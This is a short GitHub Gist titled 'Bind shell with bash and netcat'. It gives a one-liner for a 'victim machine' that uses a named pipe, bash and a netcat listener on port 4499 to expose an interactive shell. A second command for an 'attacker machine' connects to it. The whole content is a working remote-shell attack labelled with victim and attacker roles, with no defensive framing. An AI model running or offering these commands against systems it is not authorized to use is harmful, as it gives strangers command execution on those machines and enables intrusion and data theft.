Last active
February 24, 2020 17:00
-
-
Save EdoardoVignati/5aff2fb3c3feaa07ca0b1b8d00944bb2 to your computer and use it in GitHub Desktop.
Bind shell with bash and netcat
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# On victim machine | |
mkfifo /tmp/mypipe; cat /tmp/mypipe|/bin/bash 2>&1|nc -l 4499 >/tmp/mypipe | |
# On attacker machine | |
nc -nv VICTIM-IP 4499 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment